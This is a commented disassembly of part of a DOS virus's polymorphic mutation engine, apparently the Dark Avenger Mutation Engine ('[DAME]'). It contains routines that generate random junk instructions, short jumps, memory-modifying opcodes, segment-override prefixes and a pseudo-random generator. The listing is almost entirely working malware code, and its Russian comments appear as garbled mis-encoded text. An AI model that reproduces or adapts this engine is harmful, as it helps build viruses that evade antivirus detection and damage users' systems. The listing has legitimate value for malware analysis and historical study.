088E B0 07 mov al,7 ; ‡ ¬¥­ï¥¬ ­  POP ES
0890 EB AA jmp short loc_083C
sub_0885 endp
;==============================================================================
; ƒ¥­¥à æ¨ï ¨­áâàãªæ¨© ãá«®¢­ëå ¨ ¡¥§ãá«®¢­ëå SHORT ¯¥à¥å®¤®¢
; <20>¥à¥å®¤ë ⮫쪮 ¢¯¥à¥¤, â.¥. á ¯®«®¦¨â¥«ì­ë¬ ᬥ饭¨¥¬
;==============================================================================
sub_0892 proc near
0892 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; <20>®¤¯à®£à ¬¬ë ¡ë«¨ ?
0898 74 05 je short loc_089F ; Jump if <20>
089A E8 FAA2 call RND_0123 ; „€. ‚¥à®ïâ­®áâì 1/4
089D 75 29 jnz short loc_ret_08C8 ; Jump if RND <> 0
089F loc_089F:
089F B8 0015 mov ax,15h
08A2 E8 FAA3 call RND_0_AX ; ‚¥à®ïâ­®áâì
08A5 B4 EB mov ah,0EBh ; cmd JMP SHORT ¡¥§ãá«®¢­ë©
08A7 74 0C jz short loc_08B5 ; Jump if RND = 0
08A9 B4 DF mov ah,0DFh ; ª®¬ ­¤ë § ªàëâ¨ï 横« 
08AB 02 E0 add ah,al
08AD 2C 05 sub al,5
08AF 72 04 jc short loc_08B5 ; Jump if carry Set
08B1 B4 70 mov ah,70h ; JMP SHORT ¯® ãá«®¢¨î
08B3 02 E0 add ah,al
08B5 loc_08B5:
08B5 8A C4 mov al,ah
08B7 32 E4 xor ah,ah ; Zero register
08B9 5A pop dx
;-------------- § ­¥á⨠¢ ¬ áᨢ ¨­ä®à¬ æ¨î ¯à® ¥é¥ ®¤¨­ SHORT ¯¥à¥å®¤
08BA 2E: FF 36 06BE push cs:StackCounter ;Ä¿
08BF 43 inc bx ; ³ <20>®¢ë© SHORT ¯¥à¥å®¤
08C0 53 push bx ; ³
08C1 4B dec bx ;ÄÙ
08C2 52 push dx
08C3 EB B6 jmp short loc_087B
sub_0892 endp
;==============================================================================
; ‚맮¢ ¯à®æ¥¤ãàë ä®à¬¨à®¢ ­¨ï ᬥ饭¨© ¤«ï SHORT ¯¥à¥å®¤®¢
;==============================================================================
sub_08C5 proc near
08C5 E8 0001 call sub_08C9 ; ’® çâ® ­¥ ¢ë§ë¢ ¥âáï ­ ¯àï¬ãî -
; ª«î祢®© ¬®¬¥­â
08C8 loc_ret_08C8:
08C8 C3 retn
sub_08C5 endp
;==============================================================================
; <20>à®æ¥¤ãà  ¯à®áâ ­®¢ª¨ ᬥ饭¨© ¢ ¨­áâàãªæ¨ïå ª®à®âª®£® ¯¥à¥å®¤  (SHORT)
; <20>ਬ¥ç ­¨¥ : SHORT ¯¥à¥å®¤ë ¬®£ãâ ¡ëâì ⮫쪮 ¢­ãâਠãç á⪠, ­® ­¥ ¬¥¦¤ã
; ãç á⪠¬¨, ¤ ¦¥ ¥á«¨ ®­¨ ¢ ®¤­®© ¯®¤¯à®£à ¬¬¥
;==============================================================================
sub_08C9 proc near
08C9 2E: 8F 06 0921 pop cs:data_0921
08CE 5A pop dx
08CF 8B CB mov cx,bx ; ⥪ã騩 㪠§ â¥«ì  ¤à¥á 
; £¥­¥à¨à㥬®£® ãç á⪠
08D1 loc_08D1:
08D1 5E pop si
08D2 0B F6 or si,si ; Mark-end ?
08D4 74 48 jz short loc_091E ; Jump to exit if YES
;------------------------------------------------------------------------------
08D6 58 pop ax ; Š®«¨ç¥á⢮ á«®¢ ¢ áç¥â稪¥
; á⥪  ­  ¬®¬¥­â § ¯¨á¨ ª®-
; ¬ ­¤ë SHORT ¯¥à¥å®¤ 
08D7 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; <20>  í⮬ ãç á⪥ á® á⥪®¬
; çâ®-­¨¡ã¤ì ¤¥« «¨ ?
08DD 74 0F je short loc_08EE ; <20>. ’®£¤  ­¥ç¥£® ¯à®¢¥àïâì
; „€, ¤¥« «¨.
; <20>ëâ ¥¬áï ª®à४â¨à®¢ âì á⥪ ª §­ ç¥­¨î ¤® ª®¬ ­¤ë ¯¥à¥å®¤ 
08DF 2E: 87 06 06BE xchg cs:StackCounter,ax
08E4 2E: 2B 06 06BE sub ax,cs:StackCounter
08E9 E8 FF53 call sub_083F
08EC EB 0B jmp short loc_08F9
08EE loc_08EE:
08EE 2E: 3B 06 06BE cmp ax,cs:StackCounter
08F3 73 04 jae short loc_08F9 ; Jump if above or =
08F5 2E: A3 06BE mov cs:StackCounter,ax
;------------------------------------------------------------------------------
08F9 loc_08F9:
08F9 8B C3 mov ax,bx ; Ä¿ <20> ááâ®ï­¨¥ ®â ⥪ã饣®
08FB 2B C6 sub ax,si ; ³  ¤à¥á  ¤® ª®¬ ­¤ë ¯¥à¥å®¤ 
08FD 48 dec ax ; ³ ¬¥­¥¥ 128 ¡ ©â ?
08FE 3D 0080 cmp ax,80h ; ÄÙ
0901 72 14 jb short loc_0917 ; Jump if YES
0903 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; <20>  í⮬ ãç á⪥ ¤¥« «¨
; çâ®-­¨¡ã¤ì á® á⥪®¬ ?
0909 75 0A jne short loc_0915 ; Jump if YES
; …᫨ á® á⥪®¬ ­¨ç¥£® ­¥ ¤¥« «¨, â® ¬®¦­®
; ¯®áâ ¢¨âì ¯¥à¥å®¤ ¨ ­  á®á¥¤­¨¥ ª®¬ ­¤ë ¯¥à¥å®¤®¢
090B 8B C1 mov ax,cx ; Ä¿ <20> ááâ®ï­¨¥ ¬¥¦¤ã ¤¢ã¬ï
090D 2B C6 sub ax,si ; ³ ª®¬ ­¤ ¬¨ SHORT ¯¥à¥å®¤®¢
090F 48 dec ax ; ³ ¬¥­¥¥ 128 ¡ ©â ?
0910 3D 0080 cmp ax,80h ; ÄÙ
0913 72 02 jb short loc_0917 ; Jump if YES
0915 loc_0915:
0915 32 C0 xor al,al ; ‘â ¢¨¬ ᬥ饭¨¥ 0
0917 loc_0917:
0917 8D 4C FF lea cx,[si-1] ; CX -  ¤à¥á ¯à¥¤ë¤ã饣®
; ¯¥à¥å®¤ 
091A 88 04 mov [si],al ; ‡ ¯¨á âì ¯®«ã祭­®¥ ᬥ饭¨¥
091C EB B3 jmp short loc_08D1
091E loc_091E:
091E 56 push si
091F 52 push dx
0920 B8 ???? mov ax,1111h
data_0921 = word ptr $ - 2
0923 FF E0 jmp ax ; Register jump
sub_08C9 endp
;===================================================================[MemModify]
; Ž¯¥à樨 ¯¥à¥á뫪¨ ¢ ¯ ¬ïâì (MOV mem / POP mem)
;==============================================================================
sub_0925 proc near
0925 E8 00EC call sub_0A14 ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
0928 E8 FA1A call RND_01 ; ‚¥à®ïâ­®áâì MOV ¨ POP - 1/2
092B 74 07 jz short loc_0934 ; Jump if RND=0
092D loc_092D:
092D E8 FA15 call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
0930 0C A2 or al,0A2h ; cmd MOV mem, reg
0932 EB 43 jmp short loc_0977
0934 loc_0934:
0934 2E: A1 06BE mov ax,cs:StackCounter
0938 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; …áâì «¨ ᥩç á ­  ãç á⪥ ­¥
; á­ïâë¥ á® á⥪  á«®¢  ?
093D 74 EE je loc_092D ; Jump if NO
;------------------------------------------------------------------------------
093F 2E: FF 0E 06BE dec cs:StackCounter ; 㬥­ìè¨âì áç¥â稪 á⥪  ­  1
0944 B0 8F mov al,8Fh ; cmd POP R/M
0946 E8 FD02 call Write_byte
0949 B0 06 mov al,6 ; <20> ©â  ¤à¥á æ¨¨
; (MOD=00,R/M=disp16)
094B EB 2A jmp short loc_0977
sub_0925 endp
;===================================================================[MemModify]
; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­ ¤ ¯ ¬ïâìî ¨§ ­ ¡®à  data_0A43
;==============================================================================
sub_094D proc near
094D E8 00C4 call sub_0A14 ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
0950 B8 000C mov ax,0Ch
0953 E8 F9F2 call RND_0_AX
0956 96 xchg si,ax
0957 2E: 8A 84 0A43 mov al,cs:data_0A43[si]
095C 34 02 xor al,2 ; Œ¥­ï¥¬ ­ ¯à¢«¥­¨¥ ¯¥à¥á뫪¨
; १ã«ìâ â 
095E EB 6A jmp short loc_09CA
sub_094D endp
;===================================================================[MemModify]
; Ž¯¥à æ¨¨ NOT/NEG ¨ INC/DEC ­ ¤ ᮤ¥à¦¨¬ë¬ ¯ ¬ïâ¨
;==============================================================================
sub_0960 proc near
0960 E8 00B1 call sub_0A14 ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
0963 E8 F9DF call RND_01 ; ‚¥à®ïâ­®áâì - 1/2
0966 74 11 jz short loc_0979 ; Jump if zero
;-[ <20> ¡®à Grp 2/3 ]-[ cmd DEC/INC ]--------------------------------------------
0968 E8 F9DA call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
096B 0C FE or al,0FEh
096D E8 FCDB call Write_byte ; § ¯¨áì ª®¬ ­¤ë ­ ¡®à 
0970 E8 F9BE call RND_0_FF
0973 24 08 and al,00001000b ; <20>ਠMOD=00
0975 0C 06 or al,00000110b ; ¨  ¤à¥á æ¨¥© disp16
0977 loc_0977:
0977 EB 63 jmp short sub_09DC ; áä®à¬¨à®¢ âì  ¤à¥á ¬®¤¨ä¨ª æ¨¨
;-[ <20> ¡®à Grp 1 ]-[ cmd NOT/NEG ]----------------------------------------------
0979 loc_0979:
0979 E8 F9C9 call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
097C 0C F6 or al,0F6h
097E E8 FCCA call Write_byte ; § ¯¨áì ª®¬ ­¤ë ­ ¡®à 
0981 E8 F9AD call RND_0_FF
0984 24 08 and al,00001000b ; <20>ਠMOD=00
0986 0C 16 or al,00010110b ; ¨  ¤à¥á æ¨¥© disp16
0988 EB 52 jmp short sub_09DC ; áä®à¬¨à®¢ âì  ¤à¥á ¬®¤¨ä¨ª æ¨¨
sub_0960 endp
;===================================================================[MemModify]
;
;==============================================================================
sub_098A proc near
098A E8 0087 call sub_0A14 ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
098D E8 F9A9 call RND_0_F
; ¢¥à®ïâ­®áâìî 1/16 ¨á¯®«ì§ã¥âáï ª®¬ ­¤  ¨§ ­ ¡®à  Grp1
; F6 006 xx xx zz - TEST byte ptr [xxxx], zz
; F7 006 xx xx zz zz - TEST word ptr [xxxx], zzzz
0990 B2 F6 mov dl,0F6h
0992 74 21 jz short loc_09B5 ; Jump if zero
; ¢¥à®ïâ­®áâìî 1/16 ¨á¯®«ì§ã¥âáï ª®¬ ­¤  ¨§ ­ ¡®à 
; C6 006 xx xx zz - MOV byte ptr [xxxx], zz
; C7 006 xx xx zz zz - MOV word ptr [xxxx], zzzz
0994 B2 C6 mov dl,0C6h
0996 48 dec ax
0997 74 1C jz short loc_09B5 ; Jump if zero
; ¢¥à®ïâ­®áâìî 14/16 ¨á¯®«ì§ã¥âáï ª®¬ ­¤  ¨§ ­ ¡®à  ArOp 1/2
; 80/82 0?6 xx xx zz - ArOp byte ptr [xxxx], zz
; 81/83 0?6 xx xx zz zz - ArOp word ptr [xxxx], zzzz
0999 E8 F9A3 call RND_0123
099C 50 push ax
099D 0C 80 or al,80h ; AL = 80h..83h
099F E8 FCA9 call Write_byte ; ‡ ¯¨áì ª®¬ ­¤ë
;--------------- Ž¯à¥¤¥«ï¥¬áï á ¡ ©â®¬  ¤à¥á æ¨¨ ------------------------------
09A2 E8 F991 call RND_0_3F ; ƒ¥­¥à æ¨ï ¡ ©â   ¤à¥á æ¨¨
; MOD = 00
09A5 0C 07 or al,00000111b
09A7 48 dec ax ; AX = 00???110b (disp16)
;------------------------------------------------------------------------------
09A8 loc_09A8:
09A8 E8 0031 call sub_09DC ; áä®à¬¨à®¢ âì  ¤à¥á ¬®¤¨ä¨ª æ¨¨
; (xxxx)
;--------------- áä®à¬¨à®¢ âì ®¯¥à ­¤ (zzzz)
09AB 58 pop ax
09AC 48 dec ax
09AD 74 03 jz short loc_09B2 ; Jump if zero
09AF E9 FC6B jmp loc_061D ; IM8 (zz)
09B2 loc_09B2:
09B2 E9 FC7B jmp loc_0630 ; IM16 (zzzz)
;------------------------------------------------------------------------------
09B5 loc_09B5:
09B5 E8 F98D call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
09B8 50 push ax
09B9 0A C2 or al,dl
09BB E8 FC8D call Write_byte ; ‡ ¯¨á âì ª®¬ ­¤ã
09BE B0 06 mov al,00000110b ; MOD=00, R/M=disp16
09C0 EB E6 jmp short loc_09A8
sub_098A endp
;===================================================================[MemModify]
; ƒ¥­¥à æ¨ï ®¯¥à æ¨© ¢à é¥­¨ï/ᤢ¨£  ᮤ¥à¦¨¬®£® ¯ ¬ï⨠(ŠŽ<C5A0> = D0h,D1h,D2h,D3h)
; -= ShiftOperation with mem =- ShftOp [mem],<nn> (nn=1 or CL)
;==============================================================================
sub_09C2 proc near
09C2 E8 004F call sub_0A14 ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
09C5 E8 F977 call RND_0123
09C8 0C D0 or al,0D0h ; AX = RND (D0h..D3h)
;------------------------------------------------------------------------------
09CA loc_09CA:
09CA E8 FC7E call Write_byte ; ‡ ¯¨áì ª®¬ ­¤ë
09CD 92 xchg dx,ax ; DL = ŠŽ<C5A0>
09CE E8 F960 call RND_0_FF ; AX = á«ãç ©­ë© ¡ ©â  ¤à¥á æ¨¨
; â.ª. ç¥à¥§ í⨠ª®¬ ­¤ë ¯à®å®¤¨â ­¥ ⮫쪮 ¯à®æ¥¤ãà  sub_09C2
; ­® ¨ ¤à㣨¥ ¯à®æ¥¤ãàë, â® ­ã¦­® ¯à®¢¥à¨âì ª®¥-çâ®
09D1 80 FA 8C cmp dl,8Ch ; í⨬ "ª®¥-çâ®" ¥áâì ª®¬ ­¤ 
; MOV r/m, SEG
09D4 75 02 jne short loc_09D8
09D6 24 18 and al,00011000b ; â.ª. ¢ ª®¬ ­¤¥ MOV r/m, SEG
; ¯®«¥ reg ¤®«¦­® ¡ëâì ¢ ¤¨ ¯ §®­¥
; ®â 000 ¤® 011, â® ­ã¦­® á¡à®á¨âì
; áâ à訩 (¤«ï reg -0xx-) ¡¨â
09D8 loc_09D8:
; ‚ᥠ¡ ©âë  ¤à¥á æ¨¨ ­ áâà ¨¢ îâáï â ª, ç⮡ë MOD=00,   ®¯¥à æ¨¨
; ¯à®¨§¢®¤¨«¨áì ¡ë ⮫쪮 á ­¥¯®á।á⢥­­ë¬  ¤à¥á®¬ ¯ ¬ï⨠disp16 (R/M=110).
; ‘¤¥« ­® â ª ¯®â®¬ã, çâ®  ¤à¥á  ¢ëç¨á«ï¥¬ë¥ ç¥à¥§ ॣ¨áâàë ®¡é¥£®
; ­ §­ ç¥­¨ï ¨á¯®«ì§®¢ âì ­¥«ì§ï ¢ á«¥¤á⢨¨ ¨å ¯®áâ®ï­­®© ¬®¤¨ä¨ª æ¨¨.
09D8 24 38 and al,38h ; MOD = 00, reg = RND(0..7)
09DA 0C 06 or al,6 ; r/m = 6 ( ¤à¥á æ¨ï ⮫쪮 á disp16)
;==============================================================================
; <20>à®æ¥¤ãà  ä®à¬¨àã¥â  ¤à¥á ï祩ª¨ ¯ ¬ïâ¨ á ª®â®àë¬ ŒŽ†<C5BD>Ž ¯à®¨§¢®¤¨âì
; ®¯¥à æ¨¨ ¬®¤¨ä¨ª æ¨¨. ª ç¥á⢥ â ª¨å ï祥ª ¨á¯®«ì§ãîâáï  ¤à¥á  㦥
; ᣥ­¥à¨à®¢ ­­ëå (¯à®©¤¥­­ëå) ãç á⪮¢ ª®¤  (¡¥àãâáï ¨§ ˆ<>”Ž-¡«®ª ).
; <20>ਭ樯 ¯®¤¡®à  â ª®© : ¥áâì ®¡é¥¥ ç¨á«® (à §¬¥à) 㦥 ᣥ­¥à¨à®¢ ­­ëå
; ¡ ©â. <20>¥à¥¬ ¨§ í⮣® ¤¨ ¯ §®­  á«ãç ©­®¥ ç¨á«®. ‡ â¥¬ ­ ç¨­ ¥¬ ¯¥à¥¡¨à âì
; 㦥 ᣥ­¥à¨à®¢ ­­ë¥ ãç á⪨ ¨ ¯ëâ âìáï ¢ ­¨å ¢â¨á­ãâìáï. <20>  ¯à ªâ¨ª¥ íâ®
; ®§­ ç ¥â á¨âã æ¨î, ª®£¤  ¬®¤¨ä¨ª æ¨¨ ¡ã¤ãâ ¯®¤¢¥à£ âìáï ⥠ãç á⪨, ª®â®-
; àë¥ ã¦¥ ¡ë«¨ ¯à®©¤¥­ë ¨ ª ­¨¬ 㦥 ­¥ ¢¥à­¥¬áï.
;==============================================================================
sub_09DC proc near
09DC E8 FC6C call Write_byte ; ‡ ¯¨áì ¡ ©â   ¤à¥á æ¨¨
09DF B8 ???? mov ax,1111h ; AX = ª®«¨ç¥á⢮ § ¯¨á ­­ëå
BytesWrittenCounter = word ptr $ - 2 ; ¡ ©â ç¥à¥§ ¯à®æ¥¤ãàã Write_byte
;   ä ªâ¨ç¥áª¨ ᪮«ìª® 㦥
; ᣥ­¥à¨à®¢ «¨ ¡ ©â "¬ãá®à "
09E2 48 dec ax
09E3 74 1B jz short loc_0A00 ; Jump if zero
09E5 E8 F960 call RND_0_AX
; ” ªâ¨ç¥áª¨ á«ãç ©­®¥ ç¨á«® ¢ AX ®¯à¥¤¥«ï¥â ¢ ª ª®¬ ãç á⪥ ¡ã¤¥â ¢ë¤¥«¥­ 
; ï祩ª  ¯ ¬ï⨠¯®¤ ¬®¤¨ä¨ª æ¨î
09E8 92 xchg dx,ax ; DX - á«ãç ©­®¥ ç¨á«® ¢ ¤¨ ¯ -
; §®­¥ 㦥 ᣥ­¥à¨à®¢ ­­ëå
; ¡ ©â
09E9 BE ???? mov si,1111h ; 㪠§ â¥«ì ­  ­ ç «® ˆ<>”Ž-¡«®ª 
data_09EA = word ptr $ - 2
09EC loc_09EC:
; —¨â ¥¬ ®ç¥à¥¤­ãî § ¯¨áì ¢ ˆ<>”Ž-¡«®ª¥
09EC AD lodsw ; String [si] to ax
09ED 91 xchg cx,ax
09EE AD lodsw ; String [si] to ax
09EF 42 inc dx
09F0 3B D1 cmp dx,cx
09F2 72 09 jb short loc_09FD ; Jump if below
09F4 74 01 jz short loc_09F7 ; Jump if zero
09F6 4A dec dx
09F7 loc_09F7:
; <20>¥à¥å®¤ ª á«¥¤ãî饩 § ¯¨á¨ ¢ ˆ<>”Ž-¡«®ª¥
09F7 03 F1 add si,cx
09F9 2B D1 sub dx,cx
09FB EB EF jmp short loc_09EC
09FD loc_09FD:
09FD 4A dec dx
09FE 03 C2 add ax,dx
;----------------------------------------------------------------
; ‡ ¯¨áì  ¤à¥á  ï祩ª¨ ¯ ¬ï⨠¢ë¤¥«¥­­®© ¯®¤ ¬®¤¨ä¨ª æ¨î
0A00 loc_0A00:
0A00 57 push di
0A01 50 push ax
0A02 BF 27BE mov di,1111h
data_0A03 = word ptr $ - 2
0A05 AB stosw ; Store ax to es:[di]
0A06 96 xchg si,ax
0A07 A5 movsw ; Mov [si] to es:[di]
0A08 2E: 89 3E 0A03 mov cs:data_0A03,di
0A0D 58 pop ax
0A0E 5F pop di
0A0F FE C4 inc ah
0A11 E9 FC22 jmp loc_0636
sub_09DC endp
sub_09C2 endp
;==============================================================================
; * <20>à®æ¥¤ãà  ¢áâ ¢ª¨ ।¨à¥ªâ®à  ᥣ¬¥­â®¢ *
;==============================================================================
; .ª. ¢á¥ ®¯¥à æ¨¨ ¯® ¬®¤¨ä¨ª æ¨¨ ¯ ¬ï⨠£¥­¥à¨àã¥¬ë¥ ¢¨àãᮬ ¯® 㬮«ç ­¨î
; ¯à®¨§¢®¤ïâáï ¢ ᥣ¬¥­â¥ ¤ ­­ëå DS,   ¢®§¬®¦­  á¨âã æ¨ï, ª®£¤  ॣ¨áâà DS
; ¬®¦¥â ¬®¤¨ä¨æ¨à®¢ âìáï ¢ ¯®«¨¬®àä­®¬ "¬ãá®à¥", â® ­¥®¡å®¤¨¬® ¯®¤á⢠¢¨âì à¥-
; ᥣ¬¥­â­ë© ।¨à¥ªâ®à (CS: «¨ SS:). <20>® ¥á«¨ DS ­¥ ¬¥­ï¥âáï, ⮠⮣¤  ­¥®¡å®-
; ¤¨¬® ¯à®¢¥à¨âì :   ­¥ ¡ë«® «¨ á«ãç ©­®£® ।¨à¥ªâ®à . ˆ ¥á«¨ â ª®¢®© ¡ë« â®
; ¤®¡ ¢«ï¥¬ ª®¬ ­¤ã NOP ¯¥à¥¤ ¢áâ ¢ª®© ¨­áâàãªæ¨¨ ¬®¤¨ä¨ª æ¨¨ ¯ ¬ïâ¨.
; <20>ਬ¥ç ­¨¥ : …᫨ ¢ ˆ<>”Ž-¡«®ª¥ ®áâ «®áì ᢮¡®¤­® ¬¥­¥¥ 6 ¡ ©â®¢, â® ¯à®æ¥¤ãà 
; á­¨¬ ¥â á® á⥪  ­¥ ⮫쪮 ®¡à é¥­¨¥ ª ᥡ¥ ­® ¨ ®¡à é¥­¨¥ ª ¢ë-
; §ë¢ î饩 ¯à®æ¥¤ãà¥
;------------------------------------------------------------------------------
sub_0A14 proc near
0A14 2E: A1 09EA mov ax,cs:data_09EA
0A18 2E: 2B 06 0A03 sub ax,cs:data_0A03
0A1D 3D 0006 cmp ax,6 ; …áâì «¨ ¬¥áâ® ¢ ˆ<>”Ž-¡«®ª¥ ?
0A20 73 02 jae short loc_0A24 ; Jump if above or =
0A22 58 pop ax
0A23 loc_ret_0A23:
0A23 C3 retn
;------------------------------------------------------------------------------
; Œ¥áâ® ¢ ˆ<>”Ž-¡«®ª¥ ¥áâì, ¬®¦­® ¢áâ ¢«ïâì ।¨à¥ªâ®à ᥣ¬¥­â®¢.
; <20>ਬ¥ç ­¨¥ : data_0A25 - ä« £ ¬®¤¨ä¨ª æ¨¨ ॣ¨áâà  DS
; = 0 - ॣ¨áâà DS ­¥ ¬®¤¨ä¨æ¨àã¥âáï
; = 1 - ॣ¨áâà DS ¬®¤¨ä¨æ¨àã¥âáï
;------------------------------------------------------------------------------
0A24 loc_0A24:
0A24 B0 00 mov al,0
data_0A25 = byte ptr $ - 1
0A26 0A C0 or al,al ; DS ¬¥­ï¥âáï ?
0A28 74 0C jz short loc_0A36 ; Jump if NO. ’ ª ª ª ¢ í⮬
; á«ãç ¥ ।¨à¥ªâ®à ­¥ ­ã¦¥­
; ‚롨ࠥ¬ ª ª®© ᥣ¬¥­â­ë© ॣ¨áâà ¯®¤áâ ¢¨âì ?
0A2A E8 F918 call RND_01
0A2D B0 2E mov al,2Eh ; SEG CS
0A2F 74 02 jz short loc_0A33
0A31 B0 36 mov al,36h ; SEG SS
0A33 loc_0A33:
0A33 E9 FC15 jmp loc_064B
sub_0A14 endp
;==============================================================================
; <20>஢¥àª  ­  ।¨à¥ªâ®à ᥣ¬¥­â®¢ (¡ë«  «¨ ¯à¥¤ë¤ãé ï ª®¬ ­¤  ।¨à¥ªâ®à®¬)
;==============================================================================
sub_0A36 proc near
0A36 loc_0A36:
0A36 8A 47 FF mov al,[bx-1] ; ‚ë¡à âì ¯à¥¤ë¤ãéãî ª®¬ ­¤ã
0A39 24 E7 and al,not SEG_REGs ; ‚뤥«¨âì ¡¨âë
0A3B 3C 26 cmp al,26h ; <20>ë«  ®¯¥à æ¨ï ¯®¤¬¥­ë
; ᥣ¬¥­â  ? (ES:,SS:,CS:,DS:)
0A3D 75 E4 jne loc_ret_0A23
0A3F B0 90 mov al,90h ; „ . <20>®¤áâ ¢«ï¥¬ NOP
0A41 EB F0 jmp short loc_0A33
sub_0A36 endp
;-------------------------------------------------------------------------------------------------------
0A43 02 data_0A43 dop 00000000b, in_reg ; ADD r(8/16), r/m (02,03)
0A44 0A dop 00001000b, in_reg ; OR r(8/16), r/m (0A,0B)
0A45 12 dop 00010000b, in_reg ; ADC r(8/16), r/m (12,13)
0A46 1A dop 00011000b, in_reg ; SBB r(8/16), r/m (1A,1B)
0A47 22 dop 00100000b, in_reg ; AND r(8/16), r/m (22,23)
0A48 2A dop 00101000b, in_reg ; SUB r(8/16), r/m (2A,2B)
0A49 32 dop 00110000b, in_reg ; XOR r(8/16), r/m (32,33)
0A4A 38 dop 00111000b, out_reg ; CMP r/m, r(8/16) (38,39)
0A4B 3A dop 00111000b, in_reg ; CMP r(8/16), r/m (3A,3B)
0A4C 84 dop 10000100b, out_reg ; TEST r/m, r(8/16) (84,85)
0A4D 8A dop 10001000b, in_reg ; MOV r(8/16), r/m (8A,8B)
0A4E 8E dop 10001100b, in_reg ; MOV seg, r/m (8E)
;-------------------------------------------------------------------------------------------------------
0A4F A0 data_0A4F db 10100000b ; MOV AL, [im8] (A0,A1)
0A50 04 db 00000100b ; ADD AL, im8 (04,05)
0A51 0C db 00001100b ; OR AL, im8 (0C,0D)
0A52 14 db 00010100b ; ADC AL, im8 (14,15)
0A53 1C db 00011100b ; SBB AL, im8 (1C,1D)
0A54 24 db 00100100b ; AND AL, im8 (24,25)
0A55 2C db 00101100b ; SUB AL, im8 (2C,2D)
0A56 34 db 00110100b ; XOR AL, im8 (34,35)
0A57 3C db 00111100b ; CMP AL, im8 (3C,3D)
0A58 A8 db 10101000b ; TEST AL, [im8] (A8,A9)
;-------------------------------------------------------------------------------------------------------
0A59 C5 data_0A59 db 11000101b ; LDS r16/mem (C5)
0A5A C4 db 11000100b ; LES r16/mem (C4)
0A5B 8D db 10001101b ; LEA r16/mem (8D)
;-------------------------------------------------------------------------------------------------------
0A5C 58 db 01011000b ; POP r16 (58-5F)
0A5D 50 data_0A5D db 01010000b ; PUSH r16 (50-57)
0A5E 48 db 01001000b ; DEC r16 (48-4F)
0A5F 40 db 01000000b ; INC r16 (40-47)
0A60 90 db 10010000b ; NOP, XCHG AX,r16 (90-97)
;-------------------------------------------------------------------------------------------------------
0A61 9C data_0A61 db 10011100b ; PUSHF (9C)
0A62 27 db 00100111b ; DAA (27)
0A63 2F db 00101111b ; DAS (2F)
0A64 37 db 00110111b ; AAA (37)
0A65 3F db 00111111b ; AAS (3F)
0A66 98 db 10011000b ; CBW (98)
0A67 99 db 10011001b ; CWD (99)
0A68 9E db 10011110b ; SAHF (9E)
0A69 9F db 10011111b ; LAHF (9F)
0A6A A6 db 10100110b ; CMPSB (A6)
0A6B AC db 10101100b ; LODSB (AC)
0A6C AE db 10101110b ; SCASB (AE)
0A6D D7 db 11010111b ; XLAT (D7)
0A6E F5 db 11110101b ; CMC (F5)
0A6F F8 db 11111000b ; CLC (F8)
0A70 F9 db 11111001b ; STC (F9)
0A71 FA db 11111010b ; CLI (FA)
0A72 FB db 11111011b ; STI (FB)
0A73 FC db 11111100b ; CLD (FC)
0A74 FD db 11111101b ; STD (FD)
0A75 A7 db 10100111b ; CMPSW (A7)
0A76 AD db 10101101b ; LODSW (AD)
0A77 AF db 10101111b ; SCASW (AF)
;-------------------------------------------------------------------------------------------------------
;==========================================================================
; ˆ­¨æ¨ «¨§ æ¨ï £¥­¥à â®à  ¯á¥¢¤®á«ãç ©­ëå ç¨á¥«
;==========================================================================
RANDOMIZE proc near
0A78 52 push dx
0A79 51 push cx
0A7A B4 2C mov ah,2Ch
0A7C CD 21 int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
0A7E E4 40 in al,40h ; port 40h, 8253 timer 0 clock
0A80 8A E0 mov ah,al
0A82 E4 40 in al,40h ; port 40h, 8253 timer 0 clock
0A84 33 C1 xor ax,cx
0A86 33 D0 xor dx,ax
0A88 EB 1B jmp short loc_0AA5
;==========================================================================
; <20>®«ã祭¨¥ §­ ç¥­¨ï £¥­¥à â®à  ¯á¥¢¤®á«ãç ©­ëå ç¨á¥«
RND:
0A8A 52 push dx
0A8B 51 push cx
0A8C 53 push bx
0A8D B8 ???? mov ax,1111h
data_0A8E = word ptr $ - 2
0A90 BA ???? mov dx,1111h
data_0A91 = word ptr $ - 2
0A93 B9 0007 mov cx,7
0A96 locloop_0A96:
0A96 D1 E0 shl ax,1 ; Shift w/zeros fill
0A98 D1 D2 rcl dx,1 ; Rotate thru carry
0A9A 8A D8 mov bl,al
0A9C 32 DE xor bl,dh
0A9E 79 02 jns short loc_0AA2 ; Jump if not sign
0AA0 FE C0 inc al
0AA2 loc_0AA2:
0AA2 E2 F2 loop locloop_0A96 ; Loop if cx > 0
0AA4 5B pop bx
0AA5 loc_0AA5:
0AA5 2E: A3 0A8E mov cs:data_0A8E,ax
0AA9 2E: 89 16 0A91 mov cs:data_0A91,dx
0AAE 8A C2 mov al,dl
0AB0 59 pop cx
0AB1 5A pop dx
0AB2 C3 retn
RANDOMIZE endp
0AB3 5B 44 41 4D 45 5D db '[DAME] [DAME]'
0AB9 20 5B 44 41 4D 45
0ABF 5D
Vir_END equ $
seg_a ends
end Vir_start